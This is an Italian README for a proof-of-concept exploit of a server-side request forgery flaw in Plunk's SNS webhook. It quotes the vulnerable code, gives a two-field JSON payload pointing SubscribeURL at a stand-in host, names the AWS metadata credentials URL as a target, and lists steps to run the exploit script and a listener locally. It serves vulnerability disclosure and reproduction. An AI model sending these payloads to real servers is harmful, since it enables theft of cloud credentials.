
Proof-of-concept exploit per una vulnerabilità SSRF nel webhook SNS di Plunk, che dimostra una server-side request forgery non autenticata tramite SubscribeURL non validato.
SSRF tramite SubscriptionConfirmation SNS AWS non validata in useplunk/plunk
L'endpoint API di Plunk POST /webhooks/sns recupera un SubscribeURL fornito dall'attaccante senza verificare la firma crittografica AWS SNS. Un attaccante non autenticato può forzare il server a effettuare richieste HTTP arbitrarie in uscita (SSRF).
| Gravità | Critica — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| File interessato | apps/api/src/controllers/Webhooks.ts |
| Autenticazione richiesta | Nessuna |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — nessuna validazione della firma
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
Il payload minimo è composto da soli due campi:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/Avvia l'ambiente di test di Plunk:
docker compose up -d
Avvia il listener di callback SSRF:
python3 listener.py
Esegui l'exploit:
chmod +x exploit.sh
./exploit.sh
Osserva il callback nell'output di listener.py, confermando che il server ha recuperato l'URL controllato dall'attaccante.
| File | Descrizione |
|---|---|
exploit.sh | Script di exploit end-to-end — invia un payload SNS contraffatto all'endpoint vulnerabile |
listener.py | Listener di callback SSRF — cattura e registra le richieste in arrivo dal server Plunk |
docker-compose.yml | Ambiente Docker Compose minimale (Postgres, Redis, Plunk) per la riproduzione locale |